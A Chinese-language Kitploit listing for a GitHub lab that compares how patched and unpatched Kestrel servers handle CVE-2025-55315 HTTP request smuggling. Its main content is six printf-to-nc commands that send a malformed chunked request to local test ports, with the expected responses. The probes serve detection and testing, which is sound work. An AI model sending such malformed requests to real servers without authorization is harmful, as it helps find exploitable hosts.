Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55315-detection-playground — 用于在已修补/未修补的 Kestrel 上针对 CVE-2025-55315 HTTP 走私漏洞测试不同行为的实验场 | Kitploit
工具/GitHubGitHub/nickcopi/cve-2025-55315-detection-playground
漏洞分析漏洞利用Web安全渗透测试
GitHubnickcopi/cve-2025-55315-detection-playground

CVE-2025-55315-detection-playground

用于在已修补/未修补的 Kestrel 上针对 CVE-2025-55315 HTTP 走私漏洞测试不同行为的实验场

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
72311个月前尚未审核
分享

以下是可以针对这些服务执行的一些测试,用于观察 Kestrel 已修补版本与未修补版本在 GET/POST 路由上的不同行为。

对未修补版本执行 GET(返回 200 且套接字保持打开)

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002

对已修补版本执行 GET(返回 200 且套接字关闭)

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001

无需 CT 的 POST 对未修补版本执行(返回 200 且套接字保持打开)

root@kitploit:~
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002

无需 CT 的 POST 对已修补版本执行(返回 400 且套接字关闭(进程还会抛出关于 Bad chunk extension 的已处理异常))

root@kitploit:~
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001

需要 CT 的 POST 对未修补版本执行(返回 415 且套接字保持打开)

root@kitploit:~
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002

需要 CT 的 POST 对已修补版本执行(返回 415 且套接字关闭)

root@kitploit:~
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
下载工具